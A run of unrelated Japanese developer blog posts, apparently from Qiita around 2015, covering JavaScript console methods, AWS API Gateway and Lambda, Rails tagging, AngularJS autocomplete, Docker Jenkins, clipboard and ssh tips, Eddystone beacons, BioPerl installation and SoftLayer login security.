※今日現在未だに未開封(笑)

ノンカスタマイズのようです。
エンジニアなら、CPUはi7、メモリは16G、ストレージは512Gとかカスタマイズしまくらないとダメなのかもしれないのですが、とりあえずはこれで使ってみます。

# 買ってみると
ちゃんと使ってやんなきゃな。って思います。今週ずっと放置していた人が言うセリフじゃないですが。
あとは、AppleCare Protection Planに加入するかどうかは考えます。
持ち運ぶからいるかもしれませんね。
持って帰るときに、リュック持ってたんで、箱ごとリュックに入れて持ち歩いていたら、そんなに重たくなかったですね。だから、持ち運びも大丈夫そうです。

BYODするかは、上司と相談かな～。

次は**開封編**だと思います。
[JavaScript]使い分けるだけで今すぐデバッグ効率を上げる、consoleオブジェクトの関数


# consoleオブジェクト

https://developer.mozilla.org/ja/docs/Web/API/console

コンソールに文字列を出力するときに、

```js
console.log('hoge');
```

なんかはよく使うはず。

だが、ちょっとした関数の使い分けでデバッグ一つもしやすくなる。

なのでほんの少し紹介。

※以下は全てGoogle Chromeでの実行結果です

## console.error

赤い！よくあるエラーメッセージ
エラーとみなす箇所に是非

```js
console.error('hoge');
```

![スクリーンショット 2015-07-23 6.21.50.png](https://qiita-image-store.s3.amazonaws.com/0/36105/5d57ce10-d0f4-78d2-f3dc-8f575c890371.png "スクリーンショット 2015-07-23 6.21.50.png")

## console.info

(i)マークで情報に注目させよう

```js
console.info('hoge');
```

![スクリーンショット 2015-07-23 6.22.08.png](https://qiita-image-store.s3.amazonaws.com/0/36105/5075603b-911a-83fc-4eea-24c671e8a894.png "スクリーンショット 2015-07-23 6.22.08.png")

## console.warn

注意！するべき箇所に

```js
console.warn('hoge');
```

![スクリーンショット 2015-07-23 6.22.35.png](https://qiita-image-store.s3.amazonaws.com/0/36105/828a1169-b4fd-51a4-5a7c-a4f30fd9cd1a.png "スクリーンショット 2015-07-23 6.22.35.png")

## console.count

該当箇所が呼び出された回数のカウントアップに良い！
ES6で力を発揮するかな?

```js
console.count('hoge');
```

![スクリーンショット 2015-07-23 23.31.32.png](https://qiita-image-store.s3.amazonaws.com/0/36105/118abbd3-10fe-03f3-bdad-ec38aba697d6.png "スクリーンショット 2015-07-23 23.31.32.png")

## console.trace
メソッドのスタックトレースが追える。
よってメソッドの呼び出し元も分かる。

```js
console.trace(new Hoge());
```

![スクリーンショット 2015-07-23 23.39.26.png](https://qiita-image-store.s3.amazonaws.com/0/36105/c42323c1-26cd-b76a-7ea4-4bcf3c65f32a.png "スクリーンショット 2015-07-23 23.39.26.png")

## console.time console.timeEnd

```js
console.time('hoge');
```
から

```js
console.timeEnd('hoge');
```

までの実行時間を計測できる！
'hoge'の部分は``time()``と``timeEnd()``で共通のものを持つ。

![スクリーンショット 2015-07-23 23.43.44.png](https://qiita-image-store.s3.amazonaws.com/0/36105/d284371d-4f0a-7dbd-1c2d-1d2cc9682c1d.png "スクリーンショット 2015-07-23 23.43.44.png")


## console.table
オブジェクトとかの中身をテーブル形式で見られたりする。
これだけすごいリッチ。

```js
console.table(hoge);
```

![スクリーンショット 2015-07-23 23.50.49.png](https://qiita-image-store.s3.amazonaws.com/0/36105/7b5b7ac5-e5aa-fdba-e11d-161584a9bbc7.png "スクリーンショット 2015-07-23 23.50.49.png")

## console.dir

オブジェクトの構造を見るときに便利！

```js
console.dir(document.getElementsByTagName('div'));
```

![スクリーンショット 2015-07-23 23.55.49.png](https://qiita-image-store.s3.amazonaws.com/0/36105/103e6504-86e9-5ca1-4db1-97ddaa7216bd.png "スクリーンショット 2015-07-23 23.55.49.png")

## console.dirxml

こちらはDOMエレメントのツリー構造とかが見やすい！

```js
console.dirxml(document.getElementsByTagName('a'));
```

![スクリーンショット 2015-07-23 23.55.37.png](https://qiita-image-store.s3.amazonaws.com/0/36105/39f71e20-6e4d-af4c-b1d2-0d6c9224bd88.png "スクリーンショット 2015-07-23 23.55.37.png")

## console.debug (※この関数は非推奨です。log()を使ってください。)

```js
console.debug('hoge');
```

![スクリーンショット 2015-07-23 6.19.46.png](https://qiita-image-store.s3.amazonaws.com/0/36105/d8e7d733-df4d-0a03-1b9c-135610f5045b.png "スクリーンショット 2015-07-23 6.19.46.png")

# まとめ
他にもいくつかあるけれど、特に有用そうでかつ使い易いものを挙げてみました。
皆さんのJavaScriptライフを応援します。
[修正されたようです]API Gateway+Lambdaにエスケープされていない日本語リクエストを送るとエラーになる

## はじめに結論

~~現状、エスケープされていない日本語（マルチバイト文字）を含むPOSTリクエストをOpenで公開することは出来ないっぽい。~~

※2015年07月24日追記
エスケープしたら無事受信出来ました。
h141dev さん、ありがとうございます。
ただ、Backlog/GitHubのwebhookは引き続き受信できない。。。
エスケープされてないっぽい。

※2015年08月31日追記
認証エラー出なくなりました！
GitHubのwebhookとして登録してみたら、無事受信出来ました。
GitHubも、今見るとGit pushのwebhookに日本語は含まれてませんでした。前から出来てたのかもです。
ただ、Backlogのwebhookは引き続きNG。謎です。

※2015年09月15日追記
9/14のBacklog側のアップデートで修正されたらしく、
こちらで試してみたところ、テストは正常に通り、Lambdaのログにも出るようになりました。
uekikazuki さん、情報ありがとうございます！

やり方間違ってるよとか、いやいや出来たしとかあれば、コメント下さい。

## 試したこと

Lambdaを作成し、API endpointsからPOSTリクエストを作成しました。

作ったのは、 https://69i5gk43b2.execute-api.us-west-2.amazonaws.com/prod/lambda-webhook です。

### 成功するリクエスト

```bash:
curl -X POST -d '{"test":""}' https://69i5gk43b2.execute-api.us-west-2.amazonaws.com/prod/lambda-webhook/
```

### ~~認証エラー（？）になるリクエスト~~

※2015年08月31日追記
エラーでは無くなりました！

```bash:
curl -X POST -d '{"test":"あ"}' https://69i5gk43b2.execute-api.us-west-2.amazonaws.com/prod/lambda-webhook/
```

レスポンスはこんな感じ。

```json:
{"message":"The request signature we calculated does not match the signature you provided. Check your AWS Secret Access Key and signing method. Consult the service documentation for details.\n\nThe Canonical String for this request should have been\n'POST\n/2015-03-31/functions/arn%3Aaws%3Alambda%3Aus-west-2%3A913828629940%3Afunction%3Alambda-webhook/invocations\n\naccept:application/x-www-form-urlencoded\ncontent-type:application/x-www-form-urlencoded\nhost:lambda.us-west-2.amazonaws.com\nx-amz-content-sha256:df7afeb62fa766ccc8e5bcafd17fa0315c85c89a10321dbd3119fdc31861e328\nx-amz-date:20150723T144504Z\nx-amz-source-arn:arn:aws:execute-api:us-west-2:913828629940:69i5gk43b2/prod/POST/lambda-webhook\n\naccept;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-source-arn\nf0ed1af50c2207d0c88adc5255389797c3cb862d427561d625593d21a5fe92f8'\n\nThe String-to-Sign should have been\n'AWS4-HMAC-SHA256\n20150723T144504Z\n20150723/us-west-2/lambda/aws4_request\n4756a5793d6a6fb8d2eeb4e27e0df3f00e46741c5040fd652fae95ed5b0e2355'\n"}
```

### 成功するリクエスト２

```bash:
curl -X POST -d '{"test":"\\u3053"}' https://69i5gk43b2.execute-api.us-west-2.amazonaws.com/prod/lambda-webhook/
```
acts-as-taggable-on：チェックボックスでタグ更新


acts-as-taggable-onはタグ付けするのに便利なgemなのですが、登録済みのタグをチェックボックスで表示してチェックを外すと削除できるようにしようとしたら色々手こずったのでやり方を公開しようと思います。


**環境**

- rails 4.1.10
- acts-as-taggable-on 3.4.2


# acts-as-taggable-onの基本
https://github.com/mbleigh/acts-as-taggable-on

タグの追加と削除の方法

```ruby:
# タグの追加
@resource.tag_list.add('hoge,huga')
# タグの削除
@resource.tag_list.remove('hoge,huga')
```

# やろうとしたこと
- 追加するタグはtext_fieldに記述 。コンマでもスペースでも区切れるようにする。
- 登録済みのタグはチェックボックス付きの一覧にし、チェックボックスを外したらタグを外すようにする


# まずは失敗例

チェックボックスでタグを配列として取得し、tag_listに上書きすればいいじゃんと思い、やってみたら失敗しました。


```rails:
@resource.tag_list = params[:tag_list]
# => Error: undefined method `new' for [" ", "　", ","]:Array
```

上記のように`tag_list`に直接書き込もうとしたらエラーが発生しました。
※以前はこの方法でやってたらできてたのに、ある日突然バグるようになりました。acts-as-taggable-onのバージョンアップによるものか、railsのバージョンアップによるものかはわかりません……。

# 成功したコード
複数のモデルに同じタグ付けしたので、controllerのconcernsにモジュールを作りました。
update_tagsというアクションでタグの更新を行います。

###ルーティング

Itemというモデルにタグ更新アクションを追加します。
またrails4より更新系のアクションはputではなくpatchが推奨になりましたのでpatchを指定します。

```ruby:routes.rb
resources :items do
	patch 'update_tags', on: :member
end
```

### View

ポイントはチェックボックスのmultipleをtrueにすることと、tagがtag_listに含まれていたらチェックするようにすることです。


```ruby:views/tags/_form.html.slim
= form_for @resource, url: {action: 'update_tags', method: :patch} do |f|
	= f.text_field :add_tags, :value => nil, :class => 'add_tag'
	- @resource.tag_counts.each do |tag|
		= f.check_box :tag_list, 
			{ multiple: true, checked: @resource.tag_list.include?(tag.to_s) }, tag, nil
		= f.label tag, tag, class: 'tag'
		= f.submit
```

### Controller
まずconcernsにTagManagerというモジュールを作り、そこにupdate_tagsというアクションを設定しました。

```rails:controllers/concerns/tag_manager.rb
module TagManager
  extend ActiveSupport::Concern

  included do
    def update_tags
	  # チェックボックスの中身
      tag_list = params[model_name.downcase][:tag_list]

	  # 消されたタグ = 元のタグ - チェックされたタグ
      remove_tags = @resource.tag_list - tag_list
      @resource.tag_list.remove(remove_tags) if remove_tags

	  # 追加されたタグ
      add_tags = params[model_name.downcase][:add_tags]
      if add_tags
		 # default_parserはコンマですが、半角/全角スペースもタグの区切りとみなします
        add_tags_array = add_tags.gsub(/[[:blank:]]+/, ',').split(',')
        @resource.tag_list.add(add_tags_array)
      end

      if @resource.save
        flash[:notice] = 'タグを更新しました'
      else
        flash[:notice] = 'タグの更新に失敗しました'
      end
      redirect_to :back
    end
  end
end
```

Itemコントローラーではポイントとなる点だけ抜粋してコードを載せます。

**ポイント**

- concernsに作ったTagManagerを読み込み。
- strong_parametersでadd_tagsとtag_listを追加。  
tag_listはチェックボックスの内容を配列で取るので`tag_list: []`とします。

```ruby:items_controller.rb
class ItemsController < ApplicationController
	include TagManager

***　略 ***

private
	def item_params
		params.require(:item).permit(
			:name, :category_id, :subcategory_id, :authors, :add_tags, tag_list: [])
	end
end
```


今回はconcernsにモジュールを作って各resourceに対してアクションという方法を取ったのですが、これ書きながらtags_controllerとかに一つ新しいアクションを追加する方が良いような気もしてきました。
ま、とりあえず今回はconcernsの勉強も兼ねてこの形でということで。
ツッコミ随時歓迎です。
AngularJSで画像つきのオートコンプリートを組み込んだ話

## 課題

会社でAngularJSを使っていて、下のような「画像つきのオートコンプリート」をやりたいという話がでました。

![angcomplete-alt.png](https://qiita-image-store.s3.amazonaws.com/0/50827/51e2698d-dcde-2e19-4cd6-21555f728e2c.png)

テキストを表示するだけのオートコンプリートであればこれまでも運用していて、[allmighty-autocomplete](https://github.com/JustGoscha/allmighty-autocomplete)というライブラリを利用していたのですが、それぞれのセル（？）に画像を表示するなどのカスタマイズはできなさそうだったので、別のライブラリを探すことにしました。

## 解決

[angucomplete-alt](https://github.com/ghiden/angucomplete-alt)というライブラリを採用したのですが、結論からいうと、自身のgithubのレポジトリにforkして修正加えたものを使うことになりました（PRはもちろんしたのですが、後述するように日本語IMEという稀なケースであること＋実装的にイケてなかったため、PRは通らなかった・・・）。

**forkしたもの**

https://github.com/ushisantoasobu/angucomplete-alt

### 厄介な日本語IME

どこに修正を加えたかというと、`angucomplete-alt`では**日本語IMEがオン状態で、日本語変換中のものを確定したときに検索が開始されない（イベントが発生しない）**という問題があって、ユーザビリティ的には致命的なものでした。これまで使用していた`allmighty-autocomplete`では起きなかったのに・・・。

余談ですが、こういった文字の入力系のライブラリは、この**日本語IME問題**に結構ぶち当たるなぁという所感をもっていて、別のAngularのモジュールでも[StackOverflowで質問](http://stackoverflow.com/questions/29879551/addonspace-doesnt-work-in-some-browsers-when-ime-is-processing)したことがある(これは`safari`のみで発生した問題。一度は作者の方が拾ってくれたが・・・)。

### トリガーのタイミング

これまで使っていた`allmighty-autocomplete`で問題がなかったのは、検索開始のイベントのトリガーが、以下のように`$watch`で値自身の変更を見ているから。

```js:"allmighty-autocomplete"から抜粋
$scope.$watch('searchParam', function(newValue, oldValue) {
  //...検索処理
}
```

新しく採用した`angucomplete-alt`では`キーアップ`がトリガーになっていて、Enterキーのキーアップは別の処理にもっていかれてしまうため、検索処理がはじまらないみたいなことが起きていた。

```js:"angucomplete-alt"から抜粋
function keyupHandler(event) {
  //...検索処理
}
```

「どのキーがどのような順で押されたか」から日本語IMEの状態を判定することもできるのかもしれませんが、安定性を優先して`$watch`での対応を組み込んだ（これがforkしたレポジトリで行ったこと）。`$watch`によるパフォーマンス低下については認識しているつもりだけど、今回のケースでいうとテーブルセルのようにたくさん使われるものではないので問題なしと判断した。また実装としては冗長な格好になってしまったが、根本からつくりなおさないとダメだったのでこうなっています。

## 結論

AngularJSの標準のモジュールとしてオートコンプリートは入ってほしい。

## 注意
- ここで書いていることは、実装開始はこれを書いてる1,2ヶ月前に遡るので、もっと良いライブラリがあったら申し訳ございません。
- またライブラリのバージョンも、あくまでこういったことがあったよ〜という個人メモなので特に記していないです。申し訳ございません。
Docker インストール済みのEC2インスタンスでJenkinsを設定した

環境はEC2だがdockerで抽象化されているので関係ないはず。

こんなんでいいのかな・・・と思いつつ。

# war内容をコピーするための仮のコンテナ準備。
コンテナ内の `/var/jenkins_home` にwarのコンテンツが展開される。

```
docker pull jenkins:1.609.2
docker run --name jenkins -d -p 8080:8080 jenkins:1.609.2
```

# バックアップ元となるvolumeをホスト側のディレクトリを用意

コンテナ内の`jenkins`ユーザは1000:1000なので同じIDにしておくと便利(これは多分もっといい方法がある)

```
sudo mkdir /home/jenkins
sudo chown 1000:1000 /home/jenkins/
```

# warのコンテンツをvolumeにコピー

不要なコンテナは処分

```
sudo docker cp jenkins:/var/jenkins_home /home/jenkins
docker stop jenkins
docker rm jenkins
```

# 再度起動

```
docker run --name jenkins -d -p 8080:8080 -v /home/jenkins/jenkins_home:/var/jenkins_home jenkins:1.609.2
```

起動後の設定はいったん省略。
Groongaドキュメント読書会8 参加レポート

## 前回

[Groonga読書会7で学んだ事のメモ - Qiita](http://qiita.com/tamano/items/4089cbf9057c7cd36ad4)

## 参加者

4人（うち1人が初参加）

## 会場

株式会社ぐるなび本社 6F 会議室

## 進め方

* [Groongaドキュメント読書会1の進め方 - Kouhei Sutou - Rabbit Slide Show](http://slide.rabbit-shocker.org/authors/kou/groonga-document-read-1/)
* [Groongaドキュメント読書会5の進め方 - Kouhei Sutou - Rabbit Slide Show](http://slide.rabbit-shocker.org/authors/kou/groonga-document-read-5/)

## 読んだ場所

初参加の人もいたので、前回途中だった[4.7.3. カラムインデックスによる関連テーブルをまたぐ検索](http://groonga.org/ja/docs/tutorial/match_columns.html#nested-index-search-among-related-table-by-column-index)の先頭から、最初のselectコマンド（`select Articles --match_columns comment.content --query groonga --output_columns "_id, _score, *"`）の実行例まで

## 改善提案

* 英語と日本語が混ざっているので、どちらかに統一する
  * Commentsテーブル
  * 記事テーブル
* 最初に概要を説明するのはあまりよくないかもしれない
  * 文で説明されてもわからない
  * 箇条書きで説明したほうがいいかもしれない

## 簡単なpull request方法

環境構築が難しければ、直接GitHubからpull requestを送る方法でよい。

以下の手順で、ブラウザだけでpull requestできる。

* GitHubの[リポジトリ](https://github.com/groonga/groonga)を開く
* [doc/source](https://github.com/groonga/groonga/tree/master/doc/source)から対象ファイルを探す
  * groonga.org/docs/xxx/yyy.htmlなら、doc/source/xxx/yyy.rst
* 右上の鉛筆マークを押して編集モードに入る
* 編集する
  * 形式はreST（reStructuredText）
      * [reStructuredText入門 &mdash; Sphinx 1.3.2 ドキュメント](http://docs.sphinx-users.jp/rest.html)
  * doc/sourceは翻訳前のファイルなので、ほぼ英語
  * 翻訳のしくみを使うには環境構築が必要
* 保存すると、pull request画面に飛べる

## 解説メモ

### GroongaのTokenBigramの挙動

* GroongaのTokenBigramは、ノーマライザーと一緒に使うと英語と日本語で挙動が変わる
  * 英語はスペースや記号で区切られるようになる
  * 日本語は2文字ずつ区切られる
* ノーマライザーを使わない場合は英語も2文字ずつ区切られる

### `COLUMN_SCALAR ShortText`の意味

* `COLUMN_SCALAR`がカラムの型
  * どうやって値を入れるか
  * スカラーやベクターなど
* `ShortText`がカラムに入れるデータの型
  * どんな値を入れるか
  * 数値や文字列など

### カラムの型の違い

#### `COLUMN_SCALAR`

* 値を1つだけ入れる

#### `COLUMN_VECTOR`

* 配列のように順序付けて複数の値を入れる

#### `COLUMN_INDEX`

* 検索しやすいようにソートしたりして複数の値を入れる
* 検索のための付加情報も入れられる
* データの型はテーブル参照型にする必要がある

### 文字列型について

* ShortText、Textは共に可変長で、最大長が異なる
  * ただし、実は今のところ最大長のチェックをしていないので同じように扱われる
  * しかしながら、そのうち型によって最適化するかもしれないので適切に設定するべき

### 出力内容について

* `--output_columns`の`*`（アスタリスク）は検索対象のテーブル（Articles）のすべてのカラムを出力する
  * SQLの`*`と同じような意味
* commentで出力されているのは、Commentsテーブルのキー
  * 内部的にはIDが格納されているが、IDを表示してもナンノコッチャだからキーを出力している

## 次回

9月上旬に開催予定

## 感想

* 駅のホームで迷いかけた
* 初参加の人がよい質問をしてくれたので理解が深まった
* 会場設備が整っていて快適だった
  * プロジェクター、ホワイトボード完備
  * 電源は借りるものではなくいただくもの
  * ぐるなびさんいつもありがとうございます！

## おまけ

板書用の撮影機材がかっちょよかった。撮影を手伝ったこともあり、公開が待たれる。

<blockquote class="twitter-tweet" lang="ja"><p lang="ja" dir="ltr">読書会の様子です / Groongaドキュメント読書会8 (07月22日) <a href="https://twitter.com/hashtag/groonga?src=hash">#groonga</a> <a href="https://t.co/U0vxHlTNOW">https://t.co/U0vxHlTNOW</a> <a href="http://t.co/BvVIZdHEFG">pic.twitter.com/BvVIZdHEFG</a></p>&mdash; みょこやまー (@myokoym) <a href="https://twitter.com/myokoym/status/623795666372857856">2015, 7月 22</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
cygwin, linux で pbcopy/pbpaste



## cygwin

`putclip`, `getclip` ってのがある。
仮に無いとしても、`/dev/clipboard` を閲覧すれば良い。

```
alias pbcopy='cat >/dev/clipboard'
alias pbpaste='cat /dev/clipboard'
```


* 日本語環境の齟齬云々があるので、必要な人は、`nkf` など挟む。
* 改行コード云々も。


## linux

CentOS



linux だと `xsel` が良いらしい[^1]ので、ソースからインストール

[^1]: `xclip` は日本語が駄目だとかなんとか。今の時点では違うのかもしれないが。


```
$ wget -q http://www.vergenet.net/~conrad/software/xsel/download/xsel-1.2.0.tar.gz
$ tar zxf xsel-1.2.0.tar.gz 
$ cd xsel-1.2.0/
$ ./configure --prefix=${HOME}/cmd
$ make
$ make install
```

* `ssh` 越しに `xsel` を使用しようとすると、例え、 linux 側だけで完結させるつもりでも、結構工夫が必要っぽい。今の所は必要としないので、そのまま使う。

## で、
`.*shrc` に

```
case ${OSTYOE} in
	darwin*)
		:
		;;
	cygwin*)
		alias pbpaste=/usr/bin/getclip.exe
		alias pbcopy=/usr/bin/putclip.exe
		;;
	*)
		alias pbpaste='xsel -b'
		alias pbcopy='xsel -b'
		;;
esac
```

的な事を書いとく。
ssh のメモ - linux 側で mac のクリップボードを使う



## 複数 id

`ssh` で同一サーバに複数ユーザ名を切り替えて入る必要なんて殆ど無いとは思うのだけれど、最近の仕事でそう言うのが必要になって来た。
で対処方の一つ。

```
% cat ~/.ssh/config
Host main
HostName XXX.XXX.XX.11
User MAIN_USER_NAME
Host sub
Hostname XXX.XXX.XX.11
User SUB_USER_NAME
```

これだけで、ユーザ名の使い分けが出来る。

### サーバ名

ちなみに、[自主的アク禁](http://qiita.com/bunzaemon/items/463ff0bbdec2822e6a12)からの流れで、`/etc/hosts` にイントラネットのサーバを片っ端から、

```
XXX.XXX.XX.11  linux_server
XXX.XXX.XX.12  osx_server
```

なんて書いてたら、`zsh` での `ssh TAB` での補完で、 `~/.ssh/config` の `HOST` よりも優先される様になってしまってた。

`/etc/hosts` に登録した事さえ覚えていれば、気味悪がって色んな所を調べずに済んだのに、、、




## linux 側で mac のクリップボードを使う

比較的、面倒な設定もいらず、其の場凌ぎ出来る方法[^1]。
[^1]: つかオーソドックスな `ssh` の使用方法。

mac 側の ssh 共有（リモートログイン）を ON にしといて。

```@linux
% ssh MAC_IP pbpaste | less
```

これだけ。
もちろん、

```@linux
% cat SOMETHING.txt | ssh MAC_IP pbcopy
```


も可能。

ちなみに、結果にゴミが付く人は、alias してる可能性が高いので ssh のフルパスを直接叩く事。
iOSとnode.jsでEddystone入門

Google Chrome for iOS がver44でEddystone URLに対応したので。

[Chrome 44 for iOS brings beacon-powered Physical Web closer to reality, new gestures - 9To5Mac](http://9to5mac.com/2015/07/22/chrome-44-for-ios-brings-beacon-powered-physical-web-closer-to-reality-new-gestures/)

とりあえず受信するまでをまとめてみました。

## Eddystoneについて
Eddystoneには3タイプのデータ送信フォーマットがあります。

* Eddystone-UID … 16byteのunique ID。iBeaconでいうUUID/major/minor。
* Eddystone-URL … URLを送信
* Eddystone-TLM … beaconの電池残量や起動からの経過時間など

Chrome for iOSが対応したのは2番目のEddystone-URLになります。

## node-eddystone-beaconの設定
Githubの [node-eddystone-beacon](https://github.com/don/node-eddystone-beacon) を利用します。

`npm install eddystone-beacon`

macなら下記2行のコードでEddystone-URLが動作します。 

```js:test.js
var EddystoneBeacon = require('eddystone-beacon');
EddystoneBeacon.advertiseUrl('http://qiita.com/');
```

`node test.js`

nodeとbleが動作すればmacに限らずraspberry-piなど機器は問わないと思います。
mac本体のbluetoothがONになっていることを確認しましょう。


## Chrome for iOSの設定
通知センター（上からプルダウン）の"Today"ウィジェットにChromeを追加。
![IMG_3777.PNG](https://qiita-image-store.s3.amazonaws.com/0/44952/747d1abd-96eb-64d7-c1a8-28ddbbd98511.png)  
![IMG_3776.PNG](https://qiita-image-store.s3.amazonaws.com/0/44952/4f6143b2-b5e8-1497-620e-a51b742b1f3e.png)  


Chrome ウィジェット下部にEddystone対応ビーコンが発信するURLが表示されます。
![IMG_3780.PNG](https://qiita-image-store.s3.amazonaws.com/0/44952/0e40406c-b87c-18a0-ec37-d58beaa411fa.png)

何気にタイトルとかもクロールされてますね。validateしてるんでしょうか。

## 所感
2014年10月にGoogleが[Physical-Web](https://github.com/google/physical-web/blob/master/documentation/introduction.md)を立ち上げた時から、Eddystone-URLのベースである[UriBeacon](https://github.com/google/uribeacon)については

> A core principle of this system is no proactive notifications. The user will only see a list of nearby devices when they ask.

「Push通知のような挙動はさせず、ユーザー側が能動的に周囲の情報を調べたいときだけ動作させる」と宣言していました。

iOSでどのようなUXで実現させてくるのかな、と思案していたのですが、Chrome経由で通知センターのウィジェットに搭載させることで見事に実現させています。

Androidでの実装も楽しみです。
BioPerl


cpan で、plenv 環境下（ = $HOME ）にインストール。

```
% export PERL5OPT=
% plenv install 5.22.0 -Dusethreads
% plenv rehash           
% plenv shell 5.22.0     
% plenv install-cpanm    
```

この状態にて。

## 依存ファイル
`Bundle::BioPerl` はアテにせず、自力で依存ファイルのインストール。

```
% cat cpanfile
requires "YAML";
requires "Clone";
requires "Module::Build";
requires "CGI";
requires "DBI";
requires "inc::latest";
requires "Algorithm::Munkres";
requires "Array::Compare";
requires "Pod::Coverage";
requires "DBD::Pg";
requires "DBD::SQLite";
requires "DBD::mysql";
requires "Data::Stag";
requires "Error";
requires "Graph";
requires "GraphViz";
requires "HTML::Entities";
requires "HTML::HeadParser";
requires "HTML::TableExtract";
requires "HTTP::Request::Common";
requires "IO::String";
requires "LWP::UserAgent";
requires "List::MoreUtils";
requires "PostScript::TextBlock";
requires "SOAP::Lite";
requires "SVG";
requires "SVG::Graph";
requires "Set::Scalar";
requires "Sort::Naturally";
requires "Spreadsheet::ParseExcel";
requires "Test::Most";
requires "URI::Escape";
requires "XML::Parser";
requires "XML::Parser::PerlSAX";
requires "XML::SAX";
requires "XML::SAX::Writer";
requires "XML::Simple";
requires "XML::Twig";
requires "XML::Writer";
requires "XML::DOM";
requires "XML::LibXML";
requires "Math::Random";
#requires "Convert::Binary::C";
#requires "GD";
```

* `Module::Build`, `CGI` は core じゃなくなったけど、当たり前のように要求されるので。
* 最終二行は、当環境下ではテストに失敗してインストール出来ない。ので、後ほど、`--force` する。
* 未記載の `Bio::*` は本体インストール後にインストール。

```
% cpanm --installdeps . 
```

### テストでエラーするもの
個別に叩く。

```
% cpanm --force Convert::Binary::C
% cpanm --force GD
```

## 本体のインストール

```
% cpanm BioPerl
```

## `Bio::*`
その他のモジュール。

* `Bio::ASN1::EntrezGene`
* `Bio::Phylo`
* `Bio::DB::Sam`

### 簡単な物

```
% cpanm Bio::ASN1::EntrezGene
% cpanm Bio::Phylo
```

### `Bio::DB::Sam`

普通に cpanm しようとすると、libbam.a とヘッダファイルのパスをしっかり指定しても理不尽にコケる[^1]。
[^1]: もちろん、 samtools のバージョンも `samtools-0.1.19` とかに合わせたのに。
ソースから Build.pl でもコケる。なんか、オプション与える方法もあるのだろうけれど、、、
結局、面倒臭くなって、

```
% wget -q http://search.cpan.org/CPAN/authors/id/L/LD/LDS/Bio-SamTools-1.41.tar.gz
% tar zxf Bio-SamTools-1.41.tar.gz
% cd Bio-SamTools-1.41
% cp INSTALL.pl{,.bak}
% diff INSTALL.pl*
98c98
< system "env SAMTOOLS=$install_dir/samtools perl Build.PL --install_path lib=${PLENV_ROOT}/versions/5.22.0/lib";
---
> system "env SAMTOOLS=$install_dir/samtools perl Build.PL";
106c106
< system "./Build install";
---
> system "sudo ./Build install";
% perl Install.pl
```

した[^2]。
[^2]: `${PLENV_ROOT}` 便宜上の表記。

他の BioPerl モジュールは、
 `${PLENV_ROOT}/versions/5.22.0/lib/perl5/site_perl/5.22.0/Bio` に入るのに、 
 `${PLENV_ROOT}/versions/5.22.0/lib/perl5/site_perl/5.22.0/x86_64-linux/Bio` に入ってしまうのがなんとも、、、


### BioPerl Extensions

https://github.com/bioperl/bioperl-ext

今の所、必要無いからインストールしない。
-- と -


## 説明

```
% perl -- - foo
print $ARGV[0] . "\n" ;
^D
```

* `^D` は、 control + D
* `--` はコマンドラインオプションの終了を示す。
* `-` は標準入力を明示するもの。

`--` も `-` も [`perlrun`](http://perldoc.jp/docs/perl/5.20.1/perlrun.pod) に書かれてはいるものの、`--` は説明すらない[^1]。

[^1]: ま、説明の必要もないくらいあからさまに、使い方が示してあるわけで。

このまま直接、標準入力を編集するのは、いささか使い勝手が悪い。と言う事で。

```
$ perl -- <<"EOF" - foo
>print $ARGV[0] . "\n" ;
>EOF
```


* このヒアドキュメントはシェルのヒアドキュメント。標準入力からのインプットとなるので、
`-` を明示しなければならない。
	* `-` は本来のプログラムファイルを指定する位置に。
	* `<<"EOF"` の部分はコマンドラインのどこに置いても良い。


## 活用

perl の捨てスクリプト程ではないが、一つのファイルにして保存するのにはちょっとねえ。だけど、ワンライナーには長すぎる。そんなスクリプトは、上記の機能を使って `*ash` の `function` にして `*ashrc` にでも入れる。

例えば、

```shell-session:
function checkprim(){
    perl -- <<"EOF" - "$@"
    use v5.12 ;
    use warnings ;
    use autodie ;
    my $seq = '' ;
    open my $fh, '<', $ARGV[0] ;
    while (<$fh>){
        chomp ;
        next if />/ ;
        $seq .= $_ ;
    }
    close $fh ;

    ( my $prim = $ARGV[1] ) =~ tr/ACGT/N/c ;
    #( my $prim2 = reverse q{CTNTTNCCNCTTCACTCG} ) =~ tr/ACGT/TGCA/

    for my $i ( 0 .. ( length $seq ) - 1 ){
        my $score = 0 ;
        SEGMENT:
        for my $j ( 0 .. ( length $prim ) - 1 ){
            last SEGMENT if $i + $j >= length $seq ;
            my $q = substr $seq, $i + $j, 1 ;
            my $r = substr $prim, $j, 1 ;
            CHECK:
            {  
                last CHECK if $q eq $r ;
                last CHECK if $r eq 'N' ;
                next SEGMENT ;
            }
            $score ++ ;
        }
        printf "%s\n", join "\t", $score, $i + 1 ;
    }
EOF

}
```

プライマーを作成した際の簡易的なチェックに使う。
わざわざ、専用のアプリを立ち上げるのも、、、って時に、`source` しとけば、

```
$ checkprim SINGLEFASTA ACGTACGTACGT | sort | tail -2
```

てな事で貼る場所の見当が付く。

論文などに書かれてるプライマー配列は、往々にして `R` だの `Y` だの入っているが[^2]、そこはバッサリと `N` に変換してカウントする形に[^3]。
[^2]: http://www.ddbj.nig.ac.jp/sub/ref1-j.html
[^3]: 丁寧に見るなら、本気でスクリプトを書くか、しかるべきツールを使うかすればいい。
ShinobiLayer: Customer Portalへのログインを強固にするSecurity Questionsとパスワードリセット方法

#はじめに
SoftLayerのCustomer Portalに不正ログインされてしまうなんてことは、あり得ないことです。ログインに必要な情報は慎重に管理されなければいけません。そのためには、SoftLayerのCustomer Portalでは

- 単純なパスワードを設定できなくする。
- パスワード期限が設定可能。
- 接続元IPレンジが指定可能。
- 二要素認証が利用可能。
- ログイン履歴の取得が可能。
- 60日以上Customer PortalにもVPNにもアクセスしなかったユーザーは自動的にInactive状態に遷移

などのように、様々な保護の機能が用意されています。本記事で紹介する**Security Questions**の機能は、こういった保護機能の１つであり、個人的には必ず設定しておいた方が良い機能だと思っています。その理由は、

1. Customer Portalにログインする際には、**passwordだけでなくSecurity Questionも答えないといけない**ため、より強固な保護が期待できる。
2. パスワードリセット機能が利用可能になる。逆に、**Security Questionsを設定していないと、パスワードリセット機能は使えない**ので、アカウントユーザー（管理者ユーザー）に依頼しないといけない。

という理由があるからです。

